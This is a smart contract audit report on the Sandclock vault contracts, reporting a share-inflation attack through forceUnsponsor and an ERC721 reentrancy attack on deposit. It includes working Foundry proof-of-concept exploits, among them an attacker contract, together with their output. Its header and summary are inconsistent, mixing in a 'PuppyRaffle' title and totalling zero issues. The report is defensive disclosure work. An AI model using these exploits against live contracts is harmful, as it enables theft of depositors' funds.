Sandclock Audit Report

Version 1.0

0xEzSwim

February 12, 2024

Sandclock Audit Report

0xEzSwim

January 23, 2024

PuppyRaffle Audit Report

Prepared by: 0xEzSwim

Lead Auditors:
- 0xEzSwim

Table of Contents

See table

Disclaimer

The Ez Flow team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
5b263166ada0837a2c773aa15a892022d65e324a
```

Scope

The scope includes all the contracts, and any relevant interfaces, in the `sandclock` directory of this repo. This is a hardhat project with the relevant contracts included, as well as their test suite.

Contracts and interfaces meant for test purposes only can be safely ignored

Here's a list of the included contracts:

Name	LOC	External Contracts Called	Libraries
Vault	557	5	4
SandclockFactory	58	0	0
BaseStratey	303	5	2
NonUSTStrategy	137	6	1
USTStrategy	37	0	0
vault/Claimers	122	1	1
vault/Depositors	68	1	1
lib/PercentMath	63	0	0
lib/ERC165Query	55	1	0

Protocol Summary

Share allocation / yield distribution

The focus of the vault logic is to allow accounts to deposit an underlying currency, which will generate yield through an arbitrary strategy. That yield can be assigned to different beneficiaries, according to an allocation defined at the moment of deposit. Ensure that all the calculations around shares and underlying value are correct, and that no possiblity for loss of funds, hijacking of funds from other depositors is possible.

EthAnchor Strategies

Each vault will invest underlying tokens via a strategy, either UST or Non-UST, depending on which underlying currency is used. The strategy will convert that underlying to UST (in case of Non-UST strategies) and invest it through [EthAnchor][ethanchor]. Communication between the vault and

strategy must ensure that only the desired percentage of funds is invested, that all funds are correctly accounted for, and that no loss of funds occur.

The interaction can be controlled by trusted accounts (defined with the `Trust` contract). This will allow our backend to ajust investment percentages, and withdraw funds from the strategy if necessary.

Positions as NFTs

Both deposits and claims are represented as NFTs. One particularity about this is that once you own a claim NFT, you cannot receive another one via an NFT transfer (since a single NFT represents your entire claim across the whole vault, and the vault would be confused if you owned more than 1). Transfering NFTs to accounts that don't have any should still be allowed (e.g.: to migrate to a new wallet)

Deploy Factory

The custom factory allows deploying contracts with a deterministic address (`CREATE2`) and publish events, which can then be picked up by a subgraph to dynamically track new vaults. Ensure each newly created vault is deployed correctly and permissions set as expected.

Executive Summary

Issues found

Severity	Number of issues found
High	2
Medium	0
Low	0
Info	0
Gas Optimizations	0
TOTAL	0

Findings

High

[H-1] `Vault::forceUnsponsor()` allows attacker to manipulate `Vault::totalUnderlying()` and create more shares than intended

Description: On `Vault::forceUnsponsor()` if `sponsorAmount > totalUnderlying()` than the contract will transfer `totalUnderlying()` amount to the sponsor. Simultaneously, if the sponsor's sponsored amount is larger than the depositors it will set the `Vault::totalUnderlying()` to 0.

Impact: This issue leave the contract open for shares manipulation allowing a malicious user to print more shares than intended.

Proof of Concept: Add the following to the `VaultTest.t.sol` test suite.

Code

```
    function testInflationAttk() external {
        // User setup
        IVault.ClaimParams[] memory claims = new IVault.ClaimParams
            [](1);
        IVault.ClaimParams memory claim = IVault.ClaimParams({pct: 100
            _00, beneficiary: depositor, data: "Depositor"});
        claims[0] = claim;

        vm.startPrank(depositor);
        ERC20(weth).approve(address(vault), DEPOSIT_AMOUNT);
        // Depositor deposit 1 WETH in vault
        vault.deposit(IVault.DepositParams({amount: DEPOSIT_AMOUNT,
            claims: claims, lockedUntil: 0}));
        console.log();
        console.log("Total shares after user's deposit:", vault.
            totalShares());
        console.log("Total underlying without sponsors after users's
            deposit:", vault.totalUnderlyingMinusSponsored());
        console.log("Total underlying after users's deposit:", vault.
            totalUnderlying());
        vm.stopPrank();

        // Attacker setup
        address attacker = makeAddr("attk");
        ERC20Mock(weth).mint(attacker, STARTING_BALANCE);

        vm.startPrank(attacker);
        ERC20(weth).approve(address(vault), STARTING_BALANCE);
        // Attk sponsor 1 WETH
```

```
24          vault.sponsor(DEPOSIT_AMOUNT, 0);
25
26          console.log();
27          console.log("Total underlying after attacker's sponsor:", vault
                .totalUnderlying());
28          // Vault lose 50% of total underlying amount (Bad investment)
29          vault.mockLosingStrategy();
30          console.log("Total shares after vault bad investment:",vault.
                totalShares());
31          console.log("Total underlying without sponsors after vault bad
                investment:", vault.totalUnderlyingMinusSponsored());
32          console.log("Total underlying after vault bad investment:",
                vault.totalUnderlying());
33          vm.warp(block.timestamp + vault.MIN_SPONSOR_LOCK_DURATION() +
                1); // Must wait for unlock period
34          vm.roll(block.number + 1);
35          // Attacker strikes :
36          // Attk unsponsor vault at a loss (which results attacker
                withdrawing all the underlying assets)
37          uint256[] memory depositIds = new uint256[](1);
38          depositIds[0] = 1;
39          vault.forceUnsponsor(attacker, depositIds);
40          console.log("Total underlying after attacker's unsponsor:",
                vault.totalUnderlying());
41          // Attk sends 1 wei to vault
42          ERC20(weth).transfer(address(vault), 1);
43          console.log();
44          console.log("Total shares after attacker's transfer:", vault.
                totalShares());
45          console.log(
46              "Total underlying without sponsors after attacker's
                    transfer:", vault.totalUnderlyingMinusSponsored()
47          );
48          console.log("Total underlying after attacker's transfer:",
                vault.totalUnderlying());
49
50          // Attk deposit 0.1 WETH
51          claim = IVault.ClaimParams({pct: 100_00, beneficiary: attacker,
                 data: "Attacker"});
52          claims[0] = claim;
53          vault.deposit(IVault.DepositParams({amount: 1e17, claims:
                claims, lockedUntil: 0}));
54          console.log();
55          console.log("Total shares after attacker's deposit:", vault.
                totalShares());
56          console.log(
57              "Total underlying without sponsors after attacker's deposit
                    :", vault.totalUnderlyingMinusSponsored()
58          );
59          console.log("Total underlying after attacker's deposit:", vault
                .totalUnderlying());
```

```
60          vm.stopPrank();
61
62          Claimers claimers = vault.claimers();
63          uint256 tokenId = claimers.addressToTokenID(depositor);
64          uint256 depositorsShares = claimers.sharesOf(tokenId);
65          uint256 depositorsPrincipal = claimers.principalOf(tokenId);
66          console.log();
67          console.log("shares of depositor:", depositorsShares);
68          console.log("principal of depositor:", depositorsPrincipal);
69          tokenId = claimers.addressToTokenID(attacker);
70          uint256 attackersShares = claimers.sharesOf(tokenId);
71          uint256 attackersPrincipal = claimers.principalOf(tokenId);
72          console.log();
73          console.log("shares of attacker:", attackersShares);
74          console.log("principal of attacker:", attackersPrincipal);
75
76          // The depositor should have 10 times more shares than the
                attacker since the depositor deposited 10 times more than
                the attacker (invariant)
77          // However that is not the case since the attacker messed with
                the underlying amount (bringing it to 0)
78          // while maintaining the same amount of shares (sponsor do not
                have any shares since this role doesn't mint a claimer's NFT
                 on sponsor).
79          // This result in breaking the invariant and allows the
                attacker to get more claims and withdraw more underlying
                asset than he put in.
80          assert(depositorsPrincipal > attackersPrincipal);
81          assert(depositorsShares < attackersShares);
82      }
```

output:

```
1       0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  deposit amount:
            1000000000000000000
2       0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalShares: 0
3       0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalUnderlying
            : 0
4       0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  new shares:
            1000000000000000000000000000000000000
5
6       Total shares after user's deposit:
            1000000000000000000000000000000000000
7       Total underlying without sponsors after users's deposit:
            1000000000000000000
8       Total underlying after users's deposit: 1000000000000000000
9
10      Total underlying after attacker's sponsor: 2000000000000000000
11      Total shares after vault bad investment:
            1000000000000000000000000000000000000
12      Total underlying without sponsors after vault bad investment: 0
```

```
13      Total underlying after vault bad investment: 1000000000000000000
14      Total underlying after attacker's unsponsor: 0
15
16      Total shares after attacker's transfer:
            100000000000000000000000000000000000
17      Total underlying without sponsors after attacker's transfer: 1
18      Total underlying after attacker's transfer: 1
19      0x427b3F6Fa76bb2BA5ce7d30882F7c58eC6D867EC  deposit amount:
            100000000000000000
20      0x427b3F6Fa76bb2BA5ce7d30882F7c58eC6D867EC  current TotalShares:
            100000000000000000000000000000000000
21      0x427b3F6Fa76bb2BA5ce7d30882F7c58eC6D867EC  current TotalUnderlying
            : 1
22      0x427b3F6Fa76bb2BA5ce7d30882F7c58eC6D867EC  new shares:
            100000000000000000000000000000000000000000000000000000
23
24      Total shares after attacker's deposit:
            100000000000000001000000000000000000000000000000000000
25      Total underlying without sponsors after attacker's deposit:
            100000000000000001
26      Total underlying after attacker's deposit: 100000000000000001
27
28      shares of depositor: 100000000000000000000000000000000000
29      principal of depositor: 1000000000000000000
30
31      shares of attacker:
            100000000000000000000000000000000000000000000000000000
32      principal of attacker: 100000000000000000
```

Recommended Mitigation: Consider keeping a minimum underlying amount that can't be withdrawn by anyone. Something like `1 ether`. That way it will make it extremely expensive for a malicious user to performe this attack.

[H-2] `Vault::deposit()` leave open for ERC721 reentrancy attack

Description:

`Vault::deposit()` mints claimers' and depositors' NFT before transfering the amount the user want's to deposit in storage. Since `Depositors::mint()` calls `ERC721::_safeMint()` and excpects a callback a malicious user can use this to call `Vault::deposit()` once again before the execution is done.

Impact: This issue allows user to mint shares for cheaper than intended and hecould end up with an absurd amount of shares for a fraction of the cost.

Proof of Concept: Add the following to the `VaultTest.t.sol` test suite.

Code

```
    contract ReentrancyVaultAttck {
        uint256 immutable i_nbrOfAttacks;
        uint256 immutable i_depositAmountByAttack;

        IVault vaultVictim;
        uint256 attackCounter = 0;

        constructor(address _vaultVictim, uint256 _nbrOfAttacks,
            uint256 _depositAmountByAttack) {
            vaultVictim = IVault(_vaultVictim);
            i_nbrOfAttacks = _nbrOfAttacks;
            i_depositAmountByAttack = _depositAmountByAttack;
        }

        function onERC721Received(address _sender, address _from,
            uint256 _tokenId, bytes memory _data)
            external
            returns (bytes4)
        {
            if (attackCounter >= i_nbrOfAttacks) {
                return IERC721Receiver.onERC721Received.selector;
            }

            attackCounter++;
            IVault.ClaimParams[] memory claims = new IVault.ClaimParams
                [](1);
            IVault.ClaimParams memory claim =
                IVault.ClaimParams({pct: 100_00, beneficiary: address(
                    this), data: "I exploited your CONTRACT"});
            claims[0] = claim;
            vaultVictim.deposit(IVault.DepositParams({amount:
                i_depositAmountByAttack, claims: claims, lockedUntil:
                0}));

            return IERC721Receiver.onERC721Received.selector;
        }

        function launchAttack() external {
            attackCounter++;
            IVault.ClaimParams[] memory claims = new IVault.ClaimParams
                [](1);
            IVault.ClaimParams memory claim =
                IVault.ClaimParams({pct: 100_00, beneficiary: address(
                    this), data: "Intended deposit call"});
            claims[0] = claim;
            vaultVictim.deposit(IVault.DepositParams({amount:
                i_depositAmountByAttack, claims: claims, lockedUntil:
```

```
                0}));
        }

        function withdrawFunds(uint256[] memory tokenIds) external {
            vaultVictim.forceWithdraw(msg.sender, tokenIds);
        }
    }
    .
    .
    .
    function testReentrancyAttk() external {
        // Test settings
        uint256 nbrOfDeposit = 10;
        uint256 depositAmount = (STARTING_BALANCE / nbrOfDeposit);
        console.log();
        console.log("Number of deposits (same amount for depositor and attacker):", nbrOfDeposit);
        console.log("Amount deposited by loop:", depositAmount);

        // User setup
        IVault.ClaimParams[] memory claims = new IVault.ClaimParams[](1);
        IVault.ClaimParams memory claim = IVault.ClaimParams({pct: 100_00, beneficiary: depositor, data: "Depositor"});
        claims[0] = claim;
        console.log();
        console.log("Depositor's address:", depositor);
        vm.startPrank(depositor);
        ERC20(weth).approve(address(vault), STARTING_BALANCE);
        // Depositor deposit 1 WETH in vault
        for (uint256 i = 0; i < nbrOfDeposit; ++i) {
            vault.deposit(IVault.DepositParams({amount: depositAmount, claims: claims, lockedUntil: 0}));
        }
        vm.stopPrank();

        console.log();
        console.log("Total shares after user's deposit:", vault.totalShares());
        console.log("Total underlying without sponsors after users's deposit:", vault.totalUnderlyingMinusSponsored());
        console.log("Total underlying after users's deposit:", vault.totalUnderlying());

        // Attacker setup
        ReentrancyVaultAttck attacker = new ReentrancyVaultAttck(address(vault), nbrOfDeposit, depositAmount);
        ERC20Mock(weth).mint(address(attacker), STARTING_BALANCE);

        // Attacker strikes :
        vm.startPrank(address(attacker));
```

```
81          ERC20(weth).approve(address(vault), STARTING_BALANCE);
82          console.log();
83          console.log("Attacker's address:", depositor);
84          attacker.launchAttack();
85          vm.stopPrank();
86
87          console.log();
88          console.log("Total shares after attack:", vault.totalShares());
89          console.log("Total underlying without sponsors after attack:",
                vault.totalUnderlyingMinusSponsored());
90          console.log("Total underlying after attack:", vault.
                totalUnderlying());
91
92          Claimers claimers = vault.claimers();
93          uint256 tokenId = claimers.addressToTokenID(depositor);
94          uint256 depositorsShares = claimers.sharesOf(tokenId);
95          uint256 depositorsPrincipal = claimers.principalOf(tokenId);
96          console.log();
97          console.log("shares of depositor:", depositorsShares);
98          console.log("principal of depositor:", depositorsPrincipal);
99          console.log("weth of depositor:", ERC20Mock(weth).balanceOf(
                depositor));
100         tokenId = claimers.addressToTokenID(address(attacker));
101         uint256 attackersShares = claimers.sharesOf(tokenId);
102         uint256 attackersPrincipal = claimers.principalOf(tokenId);
103         console.log();
104         console.log("shares of attacker:", attackersShares);
105         console.log("principal of attacker:", attackersPrincipal);
106         console.log("weth of attacker:", ERC20Mock(weth).balanceOf(
                address(attacker)));
107
108         // The attacker keeps printing more shares than intended
                because the Vault::totalUnderlying() is never updated
                because of reentrencey attack on deposit.mint().
109         // The ERC20::_safeMint() awaits for a callback, an attacker
                can trick it and call deposit again. This will allow an
                attacker to print more shares.
110         assert(depositorsPrincipal == attackersPrincipal);
111         assert(depositorsShares < attackersShares);
112     }
```

output:

```
1   Number of deposits (same amount for depositor and attacker): 10
2   Amount deposited by loop: 1000000000000000000
3
4   Depositor's address: 0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C
5   0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  deposit amount:
        1000000000000000000
6   0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalShares: 0
7   0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalUnderlying:
```

```
        0
8   0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  new shares:
        100000000000000000000000000000000000
9   0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  deposit amount:
        1000000000000000000
10  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalShares:
        100000000000000000000000000000000000
11  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalUnderlying:
        1000000000000000000
12  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  new shares:
        100000000000000000000000000000000000
13  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  deposit amount:
        1000000000000000000
14  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalShares:
        200000000000000000000000000000000000
15  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalUnderlying:
        2000000000000000000
16  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  new shares:
        100000000000000000000000000000000000
17  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  deposit amount:
        1000000000000000000
18  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalShares:
        300000000000000000000000000000000000
19  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalUnderlying:
        3000000000000000000
20  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  new shares:
        100000000000000000000000000000000000
21  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  deposit amount:
        1000000000000000000
22  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalShares:
        400000000000000000000000000000000000
23  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalUnderlying:
        4000000000000000000
24  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  new shares:
        100000000000000000000000000000000000
25  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  deposit amount:
        1000000000000000000
26  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalShares:
        500000000000000000000000000000000000
27  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalUnderlying:
        5000000000000000000
28  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  new shares:
        100000000000000000000000000000000000
29  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  deposit amount:
        1000000000000000000
30  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalShares:
        600000000000000000000000000000000000
31  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalUnderlying:
        6000000000000000000
32  0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  new shares:
        100000000000000000000000000000000000
```

```
0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  deposit amount:
    1000000000000000000
0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalShares:
    700000000000000000000000000000000000000
0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalUnderlying:
    700000000000000000
0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  new shares:
    100000000000000000000000000000000000000
0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  deposit amount:
    1000000000000000000
0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalShares:
    800000000000000000000000000000000000000
0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalUnderlying:
    800000000000000000
0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  new shares:
    100000000000000000000000000000000000000
0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  deposit amount:
    1000000000000000000
0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalShares:
    900000000000000000000000000000000000000
0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  current TotalUnderlying:
    900000000000000000
0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C  new shares:
    100000000000000000000000000000000000000

Total shares after user's deposit:
    100000000000000000000000000000000000000
Total underlying without sponsors after users's deposit:
    1000000000000000000
Total underlying after users's deposit: 1000000000000000000

Attacker's address: 0x1Ffc33f5E217b1CF95e713DB49Fcd86C8195666C
0x2e234DAe75C793f67A35089C9d99245E1C58470b  deposit amount:
    1000000000000000000
0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalShares:
    100000000000000000000000000000000000000
0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalUnderlying:
    1000000000000000000
0x2e234DAe75C793f67A35089C9d99245E1C58470b  new shares:
    100000000000000000000000000000000000000
0x2e234DAe75C793f67A35089C9d99245E1C58470b  deposit amount:
    1000000000000000000
0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalShares:
    110000000000000000000000000000000000000
0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalUnderlying:
    1000000000000000000
0x2e234DAe75C793f67A35089C9d99245E1C58470b  new shares:
    110000000000000000000000000000000000000
0x2e234DAe75C793f67A35089C9d99245E1C58470b  deposit amount:
    1000000000000000000
0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalShares:
```

```
        121000000000000000000000000000000000
61  0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalUnderlying:
        1000000000000000000
62  0x2e234DAe75C793f67A35089C9d99245E1C58470b  new shares:
        121000000000000000000000000000000000000
63  0x2e234DAe75C793f67A35089C9d99245E1C58470b  deposit amount:
        1000000000000000000
64  0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalShares:
        133100000000000000000000000000000000000
65  0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalUnderlying:
        1000000000000000000
66  0x2e234DAe75C793f67A35089C9d99245E1C58470b  new shares:
        133100000000000000000000000000000000000
67  0x2e234DAe75C793f67A35089C9d99245E1C58470b  deposit amount:
        1000000000000000000
68  0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalShares:
        146410000000000000000000000000000000000
69  0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalUnderlying:
        1000000000000000000
70  0x2e234DAe75C793f67A35089C9d99245E1C58470b  new shares:
        146410000000000000000000000000000000000
71  0x2e234DAe75C793f67A35089C9d99245E1C58470b  deposit amount:
        1000000000000000000
72  0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalShares:
        161051000000000000000000000000000000000
73  0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalUnderlying:
        1000000000000000000
74  0x2e234DAe75C793f67A35089C9d99245E1C58470b  new shares:
        161051000000000000000000000000000000000
75  0x2e234DAe75C793f67A35089C9d99245E1C58470b  deposit amount:
        1000000000000000000
76  0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalShares:
        177156100000000000000000000000000000000
77  0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalUnderlying:
        1000000000000000000
78  0x2e234DAe75C793f67A35089C9d99245E1C58470b  new shares:
        177156100000000000000000000000000000000
79  0x2e234DAe75C793f67A35089C9d99245E1C58470b  deposit amount:
        1000000000000000000
80  0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalShares:
        194871710000000000000000000000000000000
81  0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalUnderlying:
        1000000000000000000
82  0x2e234DAe75C793f67A35089C9d99245E1C58470b  new shares:
        194871710000000000000000000000000000000
83  0x2e234DAe75C793f67A35089C9d99245E1C58470b  deposit amount:
        1000000000000000000
84  0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalShares:
        214358881000000000000000000000000000000
85  0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalUnderlying:
        1000000000000000000
```

```
0x2e234DAe75C793f67A35089C9d99245E1C58470b  new shares:
    21435888100000000000000000000000000000
0x2e234DAe75C793f67A35089C9d99245E1C58470b  deposit amount:
    1000000000000000000
0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalShares:
    23579476910000000000000000000000000000
0x2e234DAe75C793f67A35089C9d99245E1C58470b  current TotalUnderlying:
    1000000000000000000
0x2e234DAe75C793f67A35089C9d99245E1C58470b  new shares:
    23579476910000000000000000000000000000

Total shares after attack: 259374246010000000000000000000000000000
Total underlying without sponsors after attack: 2000000000000000000
Total underlying after attack: 2000000000000000000

shares of depositor: 100000000000000000000000000000000000
principal of depositor: 1000000000000000000
weth of depositor: 0

shares of attacker: 159374246010000000000000000000000000000
principal of attacker: 1000000000000000000
weth of attacker: 0
```

Recommended Mitigation: Consider adding the Openzeppelin ReentrancyGuard modifier to `Vault::deposit()`.